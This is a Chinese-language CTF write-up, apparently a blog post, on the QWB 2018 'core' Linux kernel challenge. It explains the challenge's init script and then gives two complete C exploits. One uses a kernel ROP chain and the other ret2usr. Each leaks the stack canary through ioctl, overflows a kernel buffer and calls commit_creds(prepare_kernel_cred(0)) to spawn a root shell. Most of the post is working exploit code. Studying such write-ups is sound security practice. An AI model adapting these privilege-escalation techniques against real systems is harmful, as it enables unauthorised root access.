kernel ROP

kernel ROP

借助qwb-2018 core这道题目来熟悉一下,kernel ropret2usr

首先看一下启动脚本

image-20220316191407126

发现没有开什么保护,只开了一个kaslr,为了方便调试我们在这里把它改成nokaslr关闭即可。

再来看一下init文件

image-20220316191407126

看一下这个里面的几行命令是什么意思

1、mount的作用是将分区挂到某个文件夹下,这样我们只要访问这个文件夹就相当于访问了那个分区。

2、下面的 chomd 666 /dev/ptmx 的意思是 /dev/ptmx 可读写但不可执行

3、cat /proc/kallsyms > /tmp/kallsyms是将/proc/kallsyms复制到/tmp/kallsyms

4、echo 1 > /proc/sys/kernel/kptr_restrict的作用是使得普通用户无法从/proc/kallsyms获取到函数的地址,这里给出权限描述:

image-20220316191407126

但是上面已经将/proc/kallsyms复制到/tmp/kallsyms中,故对我们获取地址并没有什么影响,并且本题也并不一定要从这里获取地址。

5、下面几行是搭建网桥

6、insmod /core.ko是指加载./core.ko这个驱动,我们的kernel题目中,漏洞一般都出现在驱动当中

7、setsid /bin/cttyhack setuidgid 1000 /bin/sh是启动时给我们的权限是普通用户,一般为了方便调试我们可以把它替换为setsid /bin/cttyhack setuidgid 0 /bin/sh,这样会方便我们查看qemu里的一些地址。

8、umount命令是手动卸载(分离)某个文件文件系统

9、poweroff -d 0 -f的作用是强制关闭电源并且不把记录写进/var/log/wtmp

image-20220316191407126

rop

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t rop[0x100] = {0};
size_t user_buf[8] = {0};

void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
}

void get_shell()
{
	if (getuid() == 0)
	{
		system("/bin/sh");
	}
	else
	{
		puts("[-] get shell error");
		exit(1);
	}
}

int find_symbols()
{
	char buf[0x40]={0};

	FILE *fd = fopen("/tmp/kallsyms","r");
	if(fd == 0)
	{
		puts("[-] open /kallsyms error");
		exit(0);
	}
	
	while(fgets(buf, 0x40, fd))
	{
		if(commit_creds && prepare_kernel_cred)
		{
			printf("[+] find commit_creds: %p\n", commit_creds);
			printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
			return 0;
		}
		
		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			char ptr[0x20]={0};
			strncpy(ptr, buf ,16);
			sscanf(ptr, "%lx", &commit_creds);
		}
		
		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			char ptr[0x20]={0};
			strncpy(ptr, buf ,16);
			sscanf(ptr, "%lx", &prepare_kernel_cred);	
		}
	}
	
	return 0;
}

void main()
{
	save_status();
	int i = 0;
	int fd = open("/proc/core",2);
	if(fd == 0)
	{
		puts("[-] open file error");
		exit(0);
	}

	find_symbols();

	vmlinux_base = commit_creds - 0x9c8e0;
	size_t offset = vmlinux_base - 0xffffffff81000000;

	ioctl(fd, 0x6677889C, 0x40);
	ioctl(fd, 0x6677889B, user_buf);

	for(i=0;i<8;i++)
		printf("%d: %p\n", i, user_buf[i]);
	size_t canary = user_buf[0];
	printf("[+] find canary: %p", canary);
	
	i = 8;
	
	//commit_creds(prepare_kernel_cred(0))
	rop[i++] = canary;
	rop[i++] = 0; //rbp
	rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret;
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;
	rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret;
	rop[i++] = commit_creds;
	rop[i++] = 0xffffffff811ae978 + offset; // mov rdi, rax; jmp rcx;
	rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
	rop[i++] = 0;
	rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;
	
	write(fd, rop, 0x100);
	ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}

ret2usr

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t rop[0x100] = {0};
size_t user_buf[8] = {0};

void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
}

void get_shell()
{
	if (getuid() == 0)
	{
		system("/bin/sh");
	}
	else
	{
		puts("[-] get shell error");
		exit(1);
	}
}

void get_root()
{
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
}

int find_symbols()
{
	char buf[0x40]={0};

	FILE *fd = fopen("/tmp/kallsyms","r");
	if(fd == 0)
	{
		puts("[-] open /kallsyms error");
		exit(0);
	}
	
	while(fgets(buf, 0x40, fd))
	{
		if(commit_creds && prepare_kernel_cred)
		{
			printf("[+] find commit_creds: %p\n", commit_creds);
			printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
			return 0;
		}
		
		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			char ptr[0x20]={0};
			strncpy(ptr, buf ,16);
			sscanf(ptr, "%lx", &commit_creds);
		}
		
		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			char ptr[0x20]={0};
			strncpy(ptr, buf ,16);
			sscanf(ptr, "%lx", &prepare_kernel_cred);	
		}
	}
	
	return 0;
}

void main()
{
	save_status();
	int i = 0;
	int fd = open("/proc/core",2);
	if(fd == 0)
	{
		puts("[-] open file error");
		exit(0);
	}

	find_symbols();

	vmlinux_base = commit_creds - 0x9c8e0;
	size_t offset = vmlinux_base - 0xffffffff81000000;

	ioctl(fd, 0x6677889C, 0x40);
	ioctl(fd, 0x6677889B, user_buf);

	for(i=0;i<8;i++)
		printf("%d: %p\n", i, user_buf[i]);
	size_t canary = user_buf[0];
	printf("[+] find canary: %p\n", canary);
	
	i = 8;
	
	//commit_creds(prepare_kernel_cred(0))
	rop[i++] = canary;
	rop[i++] = 0; //rbp
	rop[i++] = (size_t)get_root;
	rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
	rop[i++] = 0;
	rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;
	
	puts("debug");
	getchar();
	
	write(fd, rop, 0x100);
	getchar();
	ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}
posted @ 2022-05-02 14:01  狒猩橙  阅读(93)  评论(1编辑  收藏  举报